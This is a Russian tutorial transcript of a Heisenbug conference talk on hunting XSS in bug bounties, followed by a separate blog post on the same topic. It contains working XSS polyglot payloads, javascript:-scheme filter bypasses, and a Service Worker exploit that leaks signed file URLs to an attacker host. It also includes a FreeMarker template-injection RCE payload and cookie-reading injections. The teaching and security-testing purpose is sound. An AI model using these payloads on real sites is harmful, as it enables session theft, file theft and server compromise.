Про XSS-уязвимости известно давным-давно — казалось бы, нужен ли миру ещё один материал о них? Но когда Иван Румак, занимающийся тестированием безопасности, поделился методологией их поиска на нашей конференции Heisenbug, реакция зрителей оказалась очень положительной.
И спустя два года у этого доклада по-прежнему растут просмотры и лайки, это один из самых востребованных материалов Heisenbug. Поэтому теперь мы решили, что многим будет полезна текстовая версия, и сделали ее для Хабра.
Под катом — и текст, и видео. Далее повествование идет от лица Ивана.
Обо мне
Я занимаюсь тестированием безопасности. По сути, занимаюсь всеми вопросами, связанными с безопасностью сайтов. Параллельно участвую в разных Bug Bounty, занимаю 110 место на платформе HackerOne, нахожу баги в Mail.ru, Яндексе, Google, Yahoo! и других крупных компаниях. Обучаю, консультирую, рассказываю про безопасность в вебе и не только.
История доклада
Когда я начал интересоваться безопасностью, то был тестировщиком и проверял функциональные баги, а не те, что связаны с безопасностью. Но я увлекся безопасностью и однажды стал самым прошаренным тестировщиком в этой сфере. Ко мне начали приходить другие тестировщики и разработчики. Я понял, что тестировщики тоже хотят научиться искать уязвимости, им это интересно, но при этом они не знают, что конкретно нужно делать.
Что такое XSS? Как искать? Как понимать, есть XSS или нет? Сейчас разберемся.
План
-
Что такое XSS-уязвимости
-
Методология поиска XSS (которой пользуюсь сам и с помощью которой нашел более 60 XSS в Bug Bounty за последний год)
-
Какую проверочную строку (пейлоад) использовать для поиска XSS-уязвимостей
-
Кейсы из разных Bug Bounty-программ (какие XSS были, как их можно найти, и баги, которые по методологии поиска похожи на поиск XSS)
Зачем искать уязвимости?
Вам — полезный навык, который никогда не будет лишним. Компании, где вы работаете — дополнительная безопасность. Win-win!
Что такое XSS
XSS (Cross-Site Scripting) — возможность выполнения произвольного JavaScript-кода в браузере жертвы в контексте вашего сайта.
Вспомним, как вызывается JavaScript из HTML:
<script>…</script>
— всё, что внутри, будет срендерено браузером как JavaScript.
<img onerror="…" src="x">test</a>
— можно использовать обработчики событий, то есть атрибут, например, onerror
. Браузер попробует подгрузить картинку по источнику x. Если картинка не прогрузится, он выполнит то, что указано в обработчике событий.
<a href="javascript:…">click to trigger javascript</a>
— если гиперссылка ведет не на схему HTTP/HTTPS, а начинается со схемы JavaScript, то при нажатии на ссылку всё, что после схемы JavaScript, будет срендерено как JavaScript.
<iframe src="javascript:…">
— то же самое, что и с гиперссылкой, только ничего не надо кликать, сработает при прогрузке.
XSS — одна из самых распространенных уязвимостей в вебе. К XSS уязвимо более 95% веб-приложений. Чтобы найти баг, не обязательно обладать специальными навыками, проходить курсы или получать высшее образование.
И действительно, несмотря на то, что XSS — распространенная уязвимость, она остается одной из самых серьезных клиентских уязвимостей.
Причины возникновения XSS
Во-первых, XSS возникает при генерации HTML-страницы, когда разработчику нужно поместить туда указанные пользователем данные (ФИО, организация). Если разработчик записал данные в БД, затем тянет ее в HTML-шаблон, то это stored (сохраненный) XSS.
Разработчику могут понадобиться параметры из URL или тела запроса. Такой тип XSS называется reflected.
Причин XSS куча, потому что есть динамические изменения страницы с помощью JS, есть события, которые постоянно происходят на клиентской стороне с JS.
Но в этом докладе я расскажу про самые распространенные типы — stored XSS и reflected XSS.
Возьмем пример — обычная страница ВКонтакте. О чем подумает человек, который хочет найти XSS-уязвимости?
Во-первых, он обратит внимание на то, что есть поля, можно куда-то зарегистрироваться и что-то ввести.
Попробуем ввести туда честные данные, но при этом добавим к ним <script></script>
. Он нужен для вызова JavaScript между открывающим и закрывающим тегами.
Что произойдет в этом случае?
Мы, как пользователь, который хочет зарегистрироваться во ВКонтакте, заливаем ему наши проверочные строки. Дальше разработчик сохраняет их в базу данных, и с этими данными ему надо работать. Нужно показывать их пользователю на его странице, в личных сообщениях и много где еще. Дальше данные попадают пользователю в браузер, когда они возвращаются ему обратно.
Допустим, разработчик не подумал, что в качестве имени пользователя могут быть не только честные данные, а еще и HTML-теги, которые встраиваются в оригинальный HTML-шаблон. Браузеру пофиг, он рендерит все, что ему сказал разработчик, поэтому рендерится и строка.
Оно могло бы выстрелить где-нибудь здесь:
Конечно, во ВКонтакте такой уязвимости нет. Но, так как эта страница является публично доступной, любой в интернете может на нее зайти, то это была бы довольно серьезная уязвимость.
Но вообще мы, как тестировщики, которые ищут XSS-уязвимости, чаще всего делаем это блэкбоксом. Мы не знаем, что происходит на сервере, какая база данных там используется, делает ли разработчик что-то с этими данными. Всё, что у нас есть, — это поле, куда мы можем что-то ввести, и какие-то страницы, куда это потом возвращается.
Методология поиска XSS, которую я сейчас вам покажу, основана как раз на том, что мы не знаем, какие процессы происходят на сервере.
XSS-методология
-
Помещаем пейлоад (проверочную строку, призванную выявлять уязвимости) во все поля и параметры.
-
Смотрим в DOM на предмет санитизации.
-
Рано или поздно спецсимволы не перекодируются, или выполнится функция alert.
-
Раскручиваем дальше или репортим, как есть.
Еще один пример — страница поиска. В поле поиска попробуем ввести «qweqwe».
Поищем это в DOM:
F12 -> Ctrl +F -> “qweqwe”
Мы видим, что строка «qweqwe» попала из поля для поисков в параметр query. И она попала в страницу 17 раз. То есть у нас есть 17 потенциальных мест, где разработчик может не подумать о выводе этой строки пользователю в браузер, и может возникнуть XSS-уязвимость.
Конечно, «qweqwe» недостаточно, чтобы выявить XSS-уязвимость, мы добавим туда спецсимволы:
Input: qweqwe ‘ ” > <
Посмотрим, что выведется в DOM:
Спецсимволы превратились в закодированный кусок символов. Это уже сигнализирует, что есть санитизация, возможно, неосознанная.
Но в девятом месте, где наша строка встраивается в DOM, спецсимволы на первый взгляд не перекодировались, то есть они отображаются здесь как есть.
Но если мы попробуем отредактировать это как HTML, то увидим, что двойная кавычка превратилась в "
.
Это называется HTML entities. Особенность использования браузером этой кодировки заключается в том, что браузер рисует соответствующий символ на странице, но HTML-теги, состоящие из этих символов, не рендерятся браузером как код:
‘ — '
“ — "
> — >
< — <
& — &
Это выглядит вот так:
Слева у нас HTML-код, который должен отрендерить браузер, но он просто показывает его как строку.
Санитизация — преобразование определенных символов пользовательской строки в соответствующие HTML entities или другую кодировку.
Другими словами, у нас есть набор потенциально опасных символов, которые мы хотим санитизировать. Мы хотим их превратить в HTML entities, чтобы они не встраивались в наш изначальный шаблон, который мы хотим исполнять на пользователя, и нельзя было протолкнуть чужой JS.
Вернемся к этому примеру. Двойная кавычка заинкодилась в ", получается, санитизация есть.
А если бы не было? Мы попробуем ввести ‘ “ test, и поищем по строке «qweqwe»:
Input: qweqwe ‘ ” test
F12 -> Ctrl +F -> “qweqwe”
Что мы увидим?
Мы увидим, что test начал подсвечиваться коричневым. Браузеры помогают нам: они подсвечивают атрибуты, значения атрибутов и названия тегов разными цветами. Атрибуты всегда коричневые, имена тегов — розовые, значения параметров — синие.
Если бы вся строка была синяя, мы могли бы сразу понять, что она попала внутрь значения атрибута, и можно было бы сделать вывод, что XSS нет.
Но здесь предположим, что она есть, и у нас записался атрибут test. И если мы вместо этого атрибута используем обработчик событий, например:
Input: qweqwe ‘ ” onfocus=’alert()’ autofocus
Получаем reflected XSS:
Это сложно, поэтому я предложу решение в виде универсального пейлоада — это строка, которая должна выявлять XSS в разных контекстах и которая не требует дополнительного раскручивания в таких местах.
XSS – Level 0
Начнем с самой простой строки, на которую натыкались все, кто когда-то интересовался тестированием безопасности:
<script>alert()</script>
Посмотрим на примере языка PHP, когда я как разработчик хочу выводить пользователю HTML-код и подтягиваю туда значение параметра, в нашем случае — name:
<p>
Привет, <?php echo($_GET["name"]); ?>!
</p>
Функция echo() в PHP не делает санитизацию, она выводит всё как есть. То есть это типичная reflected XSS-уязвимость. И если мы поместим в параметр name на этой странице наш текущий пейлоад, он срендерится браузером, потому что никакой санитизации нет. Он встраивается как есть, браузер не отличает пользовательскую строку от оригинальной и рендерит.
/page.php?name=<script>alert()</script>
<p>
Привет, <script>alert()</script>!
</p>
То же самое, если разработчик не берет параметр из URL, а берет из базы данных данные, которые когда-то вводил пользователь:
<p>
Привет, <?php $sql=…; echo($sql); ?>!
</p>
<p>
Привет, Вася<script>alert()</script>!
</p>
Вот пример посложнее:
<form action="page.php" method="POST">
<input name="name" value="<?php echo($_GET["name"]); ?>">
</form>
Что, если мне надо брать значение параметра и отображать его внутри значения атрибута? Как меня могут хакнуть в этом случае?
<form action="page.php" method="POST">
<input name="name" value="<script>alert()</script>">
</form>
Если мы поместим туда наш <script>alert()</script>
, разумеется, это не сработает. Даже если нет санитизации и вставка небезопасна, то <script>alert()</script>
просто не выявит эту XSS-уязвимость, потому что нужно закрыть атрибут.
Мы закроем не только атрибут, но еще и тег <input>
, куда мы попали, и встроим свой <script>alert()</script>
, который отрендерится браузером:
/page.php?name="><script>alert()</script>
<form action="page.php" method="POST">
<input name="name" value=""><script>alert()</script>">
</form>
И раз мы знаем, что есть кейсы, когда мы можем попасть внутрь значения атрибута, почему бы нам сразу не добавить ">
в пейлоад?
XSS — Level 1
А если мне надо подставить пользовательское значение внутрь <title>
? Подставим туда наш текущий пейлоад:
<html>
<head>
<title>Привет,"><script>alert()</script></title>
</head>
<body>
</body>
</html>
Это не сработает, потому что тег <title>
нужен браузеру, чтобы отображать имя текущей вкладки. Браузер думает, что раз это всего лишь название вкладки, ему незачем рендерить значение этого тега, и он просто будет рендерить всё как текст.
Здесь нужно добавить </title>
перед нашим вредоносным <script>alert()</script>
.
/page.php?name="></title><script>alert()</script>
<html>
<head>
<title>Привет,"></title><script>alert()</script>
</title>
</head>
<body>
</body>
</html>
Таким образом мы закроем оригинальный <title>
.
Раз мы знаем, что разработчик может подтянуть наши значения еще и внутрь тега <title>
, почему бы сразу не добавить его в пейлоад и не вставлять этот пейлоад везде? Так мы попадаем сразу в несколько ситуаций.
Вроде звучит здорово, но если мы попали внутрь тега <script>
:
<script>
var name="<?php echo($_GET["name"]); ?>";
</script>
Разработчик написал JavaScript, внедрил его у себя на страницу, но какую-то переменную берет из пользовательского значения. Поместим туда наш текущий пейлоад:
/page.php?name="></title><script>alert()</script>
<script>
var name=""></title><script>alert()</script>";
</script>
Всё не отработает до момента, когда мы закрыли </script>
.
Здесь все тоже достаточно тривиально, просто закрываем тег разработчика <script>
:
/page.php?name="></script></title><script>alert()</script>
<script>
var name=""></script></title><script>alert()</script>";
</script>
Я не буду дальше мучить вас каждым таким тегом.
На самом деле, надо закрывать еще и </style>
, и </noscript>,
и </textarea>
, значения которых рендерятся браузером как строка.
XSS — Level 2
Помните, мы попадали внутрь значения атрибута, закрывали его, открывали <script>alert()</script>
, чтобы выполнить функцию alert ()
, и мы использовали там двойную кавычку:
<form action="page.php" method="POST">
<input name="name" value="<?php echo($_GET["name"]); ?>">
</form>
А мог ли разработчик обособлять все одинарными кавычками? Браузер это принимает, это вполне нормальное поведение. И если бы мы поместили туда наш текущий пейлоад, разумеется, он бы не сработал: он бы не обнаружил эту XSS-уязвимость, потому что мы закрываем двойную кавычку.
/page.php?name="></script></title><script>alert()</script>
<form action='page.php' method='POST'>
<input name='name' value='"></title></script><script>alert()</script>'>
</form>
Здесь тоже все просто: достаточно добавить одинарную кавычку перед двойной, и мы закроем и этот кейс.
<?php $a = str_replace('>', '>', $_GET["name"]); ?>
<form action='page.php' method='POST'>
<input name='name' value='<?php echo($a) ?>'>!
</form>
А вот если разработчик подумал: «Я допускаю, что пользователь может использовать кавычки, но главное, что он не закрывает мой <input>
и не открывает теги вроде <script>alert()</script>
. Тогда я буду просто энкодить закрывающую угловую скобку, чтобы он не смог закрыть мой <input>
».
Но если мы действительно попробуем закрыть <input>
и открыть <script>alert()</script>
, то ничего не сработает:
/page.php?name='><script>alert()</script>
<form action='page.php' method='POST'>
<input name='name' value=''><script>alert()</script>'>!
</form>
Здесь достаточно использовать обработчики событий:
/page.php?name='%20autofocus%20onfocus='alert();
<form action='page.php' method='POST'>
<input name='name' value='' autofocus onfocus='alert();'>!
</form>
Возможность писать свои атрибуты уже дает нам гарантированную XSS-уязвимость.
Когда мы попадали внутрь <script>
, то закрывали его, открывали свой <script>
и делали что-то внутри. А могли бы мы продолжить писать JS внутри JS, который написал разработчик? То есть продолжить его код, стараясь не вызвать синтаксическую ошибку. Да, могли бы:
/page.php?name=";+alert();//
<script>
var name=""; alert();//";
</script>
Есть еще случай, когда разработчику надо подставлять параметры внутрь гиперссылки:
<a href="<?php echo($_GET["returnUrl"]); ?>">Вернуться</a>
Цель — редиректнуть пользователя туда, откуда он пришел. Например, пользователь пришел в приложение. Оно редиректит его на аутентификационный поддомен, и когда он аутентифицировался, этот поддомен должен редиректнуть его обратно в приложение.
Можно вызывать JS в гиперссылках, в том числе при редиректах, если использовать схему JS:
/page.php?returnUrl=javascript:alert()
<a href="javascript:alert()">Вернуться</a>
При нажатии на «Вернуться» сработает функция alert()
.
Если поставить перед javascript пробел, то это тоже сработает:
/page.php?returnUrl=%20javascript:alert()
<a href=" javascript:alert()">Вернуться</a>
Сработает не только %20 (пробел), но и %09 (табуляция).
Я покажу в качестве примера XSS, который я нашел на поддомене Mail.ru, — biz.mail.ru.
У них было приложение. Если вы получали на странице ошибку 500, вас редиректит на страницу с ошибкой 500 и кнопкой «Обновить». При этом передается параметр from
. Это нужно затем, чтобы, когда пользователь перешел на страницу с ошибкой, он мог нажать кнопку «Обновить» и вернуться туда, где у него возникла ошибка (вдруг она была единичная).
Там передавался полный путь до страницы, и я попробовал вписать туда javascript:alert()
. Но если строка начинается со слова javascript
, то туда просто подставляется дефолтное значение HTTPS без mail.ru.
Но если поставить пробел (%20) перед словом javascript
, регулярка Mail.ru не обрабатывает этот случай и, вполне возможно, выполняет произвольный JavaScript-код на поддомене Mail.ru.
Сценарий атаки: я бы просто скинул ссылку на эту ошибку 500 другому пользователю. И если бы он нажал кнопку «Обновить», у него бы сработал JS, который я захотел.
Подумаем, как разработчик вообще мог починить такую уязвимость. В случае с XSS мы можем просто санитизировать пользовательские специальные символы. Но в случае со схемой JavaScript это не сработает, потому что здесь немного другие символы.
Разработчик может подумать: «А что, если я буду требовать формат URL в том же параметре from
?»
protocol://host:port/…
Используя синтаксис JavaScript, можно сделать пейлоад, который выглядит как URL, но также вызывает функцию alert()
при нажатии:
<a href="javascript://qwe.com/%0aalert()">Вернуться</a>
Мы вызываем single line comment, комментим всё до переноса строки, переносим строку и выполняем наш alert()
. Можно сконструировать такой пейлоад.
А это сработает, если запретить слово javascript в URL?
Как нам уже известно про HTML entity, браузер в некоторых местах использует эту кодировку неоднозначно. Если слово javascript: заэнкожено в HTML entity, при нажатии на эту ссылку браузер всё равно поймет, что HTML entity — это схема JavaScript, её тоже можно использовать.
<a href="javascri
0;t://qwe.com/%0aalert()">Вернуться</a>
javascript: = javascript:
Таким образом мы обойдем защиту, если бы она была.
Единственный правильный способ здесь — это требовать, чтобы ссылка начиналась на http(s) или была относительной.
XSS — Level 3
Наш пейлоад довольно большой и попадает в несколько кейсов:
'"></title></script><script>alert()</script>
Мне не нравится, что мы вроде делаем крутой пейлоад, а используем <script>alert()</script>
— самую нубскую вещь, которую можно найти в начале поиска XSS-уязвимостей.
Я предлагаю использовать iframe с обработчиком событий:
'"></title></script><iframe onload='alert``'>
<iframe>
— тег для отображения страницы внутри страницы. Допустим, вы находитесь на каком-нибудь сайте и, если сайт хочет подгрузить в себя еще один сайт, то разработчик использует этот тег. Также там есть атрибут src
— адрес до сайта, который он хочет показать у себя. И независимо от того, прогрузился путь или нет, onload
будет работать всегда.
Плюсы iframe:
-
Легко заметить, если пейлоад встраивается в страницу, но на onload работают санитайзеры.
-
Есть волшебный аттрибут
srcdoc
:
<iframe srcdoc="<script>alert()</script>">
Разработчики используют iframe на всяких форумах, дают возможность пользователю помещать его на сайт, но если они не подумали про этот атрибут, то возможно выполнение произвольного JS.
Здесь в качестве значения атрибута srcdoc
используется просто HTML entity:
- Не раскрутить XSS — есть почти гарантированный open redirect.
Если у вас не получилось раскрутить XSS, например, разработчик решил, что хочет разрешить встраивать пользовательский iframe, но без обработчиков событий и без srcdoc, то у нас всё равно есть уязвимость другого типа — open redirect, пейлоад которого выглядит так:
<iframe src="https://avtohanter.ru/toplevel.html">
У нас есть iframe, его src указан на другую страницу в интернете, подконтрольную злоумышленнику. Содержимое этой страницы довольно простое — всего лишь скрипт, который задает top.window.location на другую страницу.
И если браузер срендерит это на каком-то сайте, произойдет редирект на https://evil.com.
У браузера есть иерархия окон, есть окно верхнего уровня и промежуточные окна. И iframe, который подгружается внутри сайта, является промежуточным окном, но при этом он может влиять на окно верхнего уровня. Он может переписать его top.window.location, и возникает уязвимость open redirect.
Лечится это атрибутом sandbox, но никто об этом не задумывается. Если есть разрешение устраивать пользовательский iframe, то таким пейлоадом можно редиректить других пользователей куда угодно.
XSS — Level 1337
Перейдем на суперхакерский уровень XSS-уязвимостей:
- Пробелы между атрибутами в теге могут замениться слэшем. Тег необязательно закрывать!
<iframe/onload='alert()'
- Браузеры закрывают теги за разработчиков.
Таким образом, исходя из этих двух фактов, мы можем прийти от такого пейлоада:
'"></title></script><iframe onload='alert``'>
К такому:
'"></title/</script/</style/><iframe/onload='alert``'
Поменяли все пробелы на слэш и убрали закрывающую скобку у iframe. Есть кейс, когда пейлоад попадает внутрь комментария (<!-- ... -->)
, нужно сразу закрыть его.
'"></title/</script/</style/--><iframe/onload='alert``'
Покажу еще один пример из Bug Bounty, он из приватной программы. Это XSS-уязвимость в личных сообщениях. Разработчики обрезали всё, что подходит под паттерн “<…>”, чтобы защититься от XSS-уязвимостей. Если пошлем закрытый тег, он обрежется:
Однако, если мы пошлем незакрытый тег, то он отрендерится:
Фреймворки
Также есть разные фреймворки, например, клиентские AngularJS и VueJS.
Здесь тоже есть специфический пейлоад:
{{7*7}} –> 49
Если это посчиталось на клиентской стороне и превратилось в 49, то здесь тоже возможна XSS-уязвимость. Нужно использовать constructor.constructor и вызвать alert:
Пейлоад, конечно, зависит от версии AngularJS, поэтому нужно чекнуть версию и подобрать пейлоад из списка.
Как и в случае с прошлыми примерами HTML entity, для AngularJS не имеет значения, используются ли фигурные скобки или HTML entities. Если разработчик подумал: «Я использую AngularJS или VueJS и не хочу, чтобы мне вставляли фигурные скобки, буду их обрезать», то достаточно поместить HTML entity-представление, и браузер уже срендерит это как надо.
{{7*7}} -> 49
У VueJS пейлоад тот же самый.
Вот такой пейлоад получился:
‘”/test/></title/</script/</style/–>{{7*7}}<iframe/onload=’alert“'<!–
</title/</script/</style/</noscript/–>… — ситуативно
‘”/test/ — если можем записать свой атрибут (onerror, onmouseover, …)
{{7*7}} — AngularJS, VueJS
Этот пейлоад не покрывает случаи, когда мы попали внутрь тега <script>alert()</script>
, и нам нужно не закрыть этот тег, а продолжать писать валидный JS (то есть без синтаксических ошибок). Если вы попали в функцию внутри функции внутри объекта, то вам нужно закрыть определенное количество фигурных скобок, нужно смотреть контекст. Универсального решения нет.
Но ведь есть много полиглот-пейлоадов. В чем отличия?
-
размер строки меньше, т. к. не предусматривает попадания туда, где нужно использовать схему JavaScript (ссылки);
-
включает проверку AngularJS, VueJS;
-
расширенное покрытие случаев с записью атрибутов.
Обычные полиглот-пейлоады используют onload=’alert()’, но у многих элементов нет такого события. В моем это:
‘”/test/></title/</script/</style/–>{{7*7}}<iframe/onload=’alert“'<!–
Если такой пейлоад небезопасно встроится в значение атрибута какого-то тега, то мы сможем выйти из значения атрибута и записать свой атрибут test
.
Что это нам даст? JS-то вызовем, потому что мы знаем, что нам достаточно этого для вызова JS, но сразу мы этого не увидим. Поэтому я предлагаю добавлять такой код на каждую страницу, где вы ходите, через расширение:
if(document.querySelectorAll(‘*[test]’).length>0){
prompt(‘XSS’);
}
Дальше идем в DOM и смотрим, в какой элемент мы попали.
Пример:
Если мы выполним код, то получаем 1. Соответственно, если какой-то тег уязвим и мы записали туда свой атрибут, то можно дальше раскрутить это. Мы можем вместо test использовать onload или onmouseover, в зависимости от того, что поддерживает этот тег.
Можно внедрить этот код через расширение для браузера.
Почему XSS опасны?
У JS в браузере по умолчанию есть доступ к пользовательскому контенту:
DOM — это место, где JS может изменять HTML на стороне пользователя. JS может видеть через DOM всё, что вы видите у себя в интерфейсе в веб-приложениях.
Также у него есть доступ к LocalStorage и SessionStorage. Если разработчик хранит там сессионный ключ или другие данные для аутентификации, то JS легко может взять и потом послать его на другой вредоносный сервер.
Ни для кого не секрет, что куки — один из самых распространенных способов аутентификации в веб-приложениях. И у JS есть доступ к любым HTTP-ответам с этого же Origin. То есть, получив инъекцию в какой-то одной странице, мы можем вызвать любую другую страницу, на которой содержится чувствительная информация.
Например, сделаем запрос к странице b, где у нас есть API-ключи, и попросим вывести ответ:
Вместо страницы b могли быть данные для аутентификации или другие чувствительные данные.
JS может взаимодействовать с установленными программами и расширениями.
У JS есть экспериментальные технологии (Service Workers, Push API, …).
Безопасно ли, что у JS есть столько доступа ко всему?
Существует много вопросов, связанных с безопасностью. Разработчики браузера используют Origin для разграничения доступа JS между разными сайтами.
Origin = protocol + hostname + port
Также у браузеров есть Same-Origin-Policy (SOP) — фундаментальная защита, на которой основывается безопасность в вебе.
JS, выполняемый на одном Origin, не может получить доступ к содержимому другого Origin.
Можно сделать вывод, что XSS на одном Origin не опасен для другого Origin. У нас есть какой-нибудь поддомен, где можно выполнять пользовательский JS, потому что там не хостится ничего серьезного.
Но не всегда, потому что есть легальные обходы SOP. Разработчикам необходимо связываться с другими сайтами на клиенте, ходить на другие сайты, читать ответы, что-то туда посылать и что-то динамически обновлять. Они используют для этого CORS, WebSocket, PostMessage, JSONP, Flash.
Куки, поставленные на одном порту, можно прочитать на любом другом порту.
Есть экспериментальные фичи JS, которые иногда тоже несут угрозу для SOP. Иногда это приводит к неожиданным результатам.
Я приведу приватный пример из Bug Bounty — XSS в S3-бакете, позволяющий красть чужие файлы.
Контекст этого веб-приложения: это CRM, где можно заводить сделки с потенциальными клиентами и заполнять информацию о них, в том числе загружать файлы.
Я подумал: «Что будет, если загрузить HTML-страницу?»
Обычная страница, где я хочу посмотреть, на каком домене она выполняется. И она успешно загружается.
После открытия страницы сначала кажется, что XSS находится не в приложении, а в S3-бакете.
Они берут файл пользователя, кладут у себя в бакет, и дальше, когда пользователь хочет получить доступ к файлу, он делает это в приложении, но приложение редиректит его в S3-бакет, где хостится этот файл.
При попытке открыть файл на сервере генерируется подпись запроса, по которой файл будет доступен какое-то время. Нельзя просто так получить файл, надо, чтобы запрос был подписан. Это происходит на серверной стороне приложения, когда вы загрузили этот файл и хотите его открыть. На сервере происходит генерация подписи, и приложение редиректит пользователя на файл в S3-бакете, где эта подпись уже включена в запрос. По этой подписи файл будет доступен какое-то время.
Очевидно, что JS выполняется на другом Origin, потому что S3-бакет – поддомен Amazon, он не имеет никакого влияния на другой домен, на котором хостится основное приложение.
На первый взгляд, XSS бесполезны, но существуют следующие факторы:
-
возможность загрузить любой файл;
-
возможность выполнять произвольный JavaScript;
-
все файлы, в том числе других пользователей, кладутся в одну и ту же папку (например, в корень);
-
ссылкой на загруженный файл можно поделиться с кем угодно.
Эти факторы позволяют красть чужие файлы через перезапись ответа Service Worker. Для этого нужно создать и загрузить serviceworker.js:
Навешиваемся на событие fetch, переписываем ответ сервера на код iframe src и говорим, что тип ответа — text/html. Каждый запрос пользователя будет возвращать одинаковый ответ благодаря этому Service Worker.
Также загрузим exploit.html:
Это страница, которая нужна для эксплуатации этого Service Worker. Регистрируем его, указывая путь до него с подписями, потому что мы хостим этот serviceworker.js в этом же S3-бакете. И говорим, что скоуп — корень.
Что произойдет, если кто-то откроет exploit.html:
-
В браузере зарегистрируется Service Worker
-
При открытии любой страницы этого сайта, начиная от директории с serviceworker.js, ответ перепишется на:
<iframe src="https://avtohanter.ru/ref?x=">
- В заголовке Referer браузер передаст путь, на котором сработал Service Worker.
От лица жертвы это будет выглядеть так:
Я пошлю фишинговое письмо с короткой ссылкой на свой exploit.html-файл. Зарегистрирую у пользователя Service Worker. Дальше, если этот пользователь захочет открыть файл у себя в организации, ответ перепишется на iframe, который ведет на мой сайт.
И я получу примерно такой запрос:
В Referer будет полный путь до файла, где пользователь захотел открыть свой файл. У меня есть полный путь с подписями, поэтому я могу открыть его, и это дает мне полный доступ к этому файлу в дальнейшем.
Бонус
Мало кто задумывается, что письма — это HTML-код. Например, есть такое письмо от Trello:
В письмо тоже подтягиваются пользовательские значения, возможно, там есть XSS. Но письма мы смотрим в почтовых клиентах (обычно Mail.ru, Яндекс) и, разумеется, XSS в письме ведет к XSS в почтовом клиенте, а это уже другой скоуп, который никак не влияет на организацию, которая послала это письмо.
Но здесь тоже есть XSS-уязвимость, она называется Email template’s HTML injection. Вместо вызова JS мы встраиваемся в HTML-шаблон, который прислала нам компания.
Пейлоад выглядит так:
--></script><a href="//qwe.com">qwe</a><img src=x>${7*7}{{7*7}}<!--
49 = SSTI*
*SSTI – https://portswigger.net/blog/server-side-template-injection
Примерно как пейлоад для поиска XSS, но здесь мы не вызываем функцию JS, а встраиваем наши HTML-теги в шаблон письма. Также здесь есть ${77}{{77}}, как для AngularJS, только AngularJS рендерится на клиентской стороне, а этот пейлоад призван проверять возможность рендера клиентского значения через шаблонизаторы.
Пример уязвимого шаблона:
На первый взгляд — обычное письмо. Но если посмотреть на тему, то можно увидеть, что там есть HTML-теги, гиперссылка и HTML-коммент.
Идея в том, что мы добавляем нашу вредоносную гиперссылку, комментим оригинальное письмо и отправляем это письмо кому угодно.
Так как мы можем контролировать гиперссылку и контекст, мы можем зафишить кого-то невнимательного, потому что ссылка будет вести на левый сайт.
Недавно мне пришло такое письмо:
Кто-то пытался эксплуатировать абсолютно то же самое: приглашали присоединиться к организации. Разумеется, это фишинг.
Если ${7*7} -> 49 считается не на клиентской стороне, а на серверной, то это будет уязвимость, которая называется SSTI (Server Side Template Injection). Ее суть в том, что разработчики используют какие-то шаблонизаторы, потом они через эти шаблонизаторы прогоняют свои HTML-шаблоны и, если там есть что-то похожее на template expression language, они это рендерят.
Я покажу еще один пример из Bug Bounty. Это был RCE (remote code execution) через инъекцию шаблона во FreeMarker.
Это приложение позволяет создавать свои события, свою кампанию отсылки имейлов.
Имейлы здесь кастомные. Предоставляем HTML, который нужно разослать. Уязвимость была уже в том, что можно послать любой HTML с официального адреса этой компании кому угодно.
Но была еще более серьезная уязвимость. Она заключалась в том, что, если загрузить туда ${77} или #{77}, при превью этого шаблона у нас выведется 49:
Путем недолгих ковыряний я понял, что используется шаблон FreeMarker. А у шаблонизаторов FreeMarker есть такие штуки:
[#assign cmd = ‘freemarker.template.utility.Execute’?new()]
${cmd(‘id’)}
Достаточно вызвать, использовать его и передать ему в качестве параметра какую-то shell-команду, например, id.
И действительно показывает, что root:
Выводы
Если вы разрабатываете приложение, работаете над архитектурой приложения, то всегда надо иметь в виду, что интернет — это небезопасное место.
Нужно всегда помнить, что нельзя доверять пользовательскому вводу. Рассматривайте место, где пользователь вам что-то посылает, как потенциально вредоносное.
Нужно проверять свое приложение, потому что даже самый внимательный разработчик все равно когда-то ошибется, допустит у себя уязвимость, и проверка необходима — чем чаще, тем лучше.
Используйте универсальный пейлоад, помещайте его во все поля, в каждый input. Рано или поздно это сработает, потом уже научитесь раскручивать, успешно находить еще больше XSS, может быть, придумаете свои векторы атаки.
В любом приложении всегда есть уязвимости, в том числе XSS. Если вы ищете баги безопасности, вы не можете быть уверены, что их там нет. Возможно, вы просто не можете их найти, но они там есть. Используя такое убеждение, можно найти еще больше багов.
Это был доклад с одного из предыдущих Heisenbug, а мы тем временем активно готовим следующий: с 5 по 7 октября состоится онлайн-конференция Heisenbug 2021 Moscow. Там будут десятки новых докладов по тестированию, и описания нескольких из них уже можно прочитать на сайте.
Только для читателей Lifeexample возможно открыть интернет-магазин на Moguta.CMS со скидкой в 15%
Здравствуйте, уважаемые читатели блога LifeExample, однажды я уже писал статью о SQL инъекциях и о том, как защитить от них сайт, теперь пришло время продолжить тему защиты сайта и раскрыть вам еще один излюбленный хакерами, способ инъекции вредоносного кода.
В данной статье я бы хотел познакомить вас с понятием xss уязвимость, а также с методами защиты сайта от xss атак.
Что такое XSS
XSS – это сокращение понятия расшифровываемое как “межсайтовый скриптинг”. В задачи межсайтового скриптинга и главной целью XSS является получение cookies пользователей атакуемого сайта путем встраивания вредоносного кода в тело HTML страницы.
В отличии от SQL инъекции , данный вид атак, с одной стороны безопасен для сервера и опасен для пользователей сайта. С другой стороны если будут украдены cookies админа, то получив доступ к панели администрирования, у хакера будет больше вероятности добраться и до БД.
Для того чтобы межсайтовый скриптинг сработал, хакеру необходимо выявить хотябы одну xss уязвимость.
Как защититься от xss
Если ваш сайт подвергается XSS атаке, вероятнее всего вы об этом узнаете не скоро, а может, и вовсе не узнаете. Поэтому для защиты от xss атак, нужно предотвращать все подобные попытки, хакеров, на корню.
Чтобы придумать метод защиты от какой либо атаки, нужно знать как эти атаки проводятся и по какому принципу работают, поэтому давайте разбираться с теорией взлома через xss уязвимости.
Как найти xss уязвимость на сайте
Процесс поиска уязвимых мест очень прост и сводится к банальному отбору страниц с формами ввода. После того как вы нашли все страницы с которых пользователи отправляют информацию на сервер, можно начинать выявление xss уязвимости.
Допустим, найденная нами форма ввода является поиском по сайту. Определить является ли эта форма xss уязвимой, можно несколькими способами, подставив в поле одну из следующих инъекций:
- <script>alert(“cookie: “+document.cookie)</script>
- “><script>alert(“cookie: “+document.cookie)</script>
- ‘><”>”><script>alert(“cookie: “+document.cookie)</script>
Если в результате вы увидели нечто подобное:
Значит вы нашли xss уязвимость, и в дальнейшем нужно будет ее защитить от атак.
Если ни один из вариантов не сработал, попробуйте вставить следующие подборки кода:
- <body onload=alert(‘xss Уязвимость’)>
- <img src=javascript:alert(‘Защита от XSS не работает’)>
- <body background=”javascript:alert(‘эй админ закрой xss уязвимости’)” >
- <style type=”text/javascript”>alert(‘Бум бум!’);</style>
Опять ничего не вышло? Тогда можете считать, что данная форма не уязвима к XSS атакам и уже защищена.
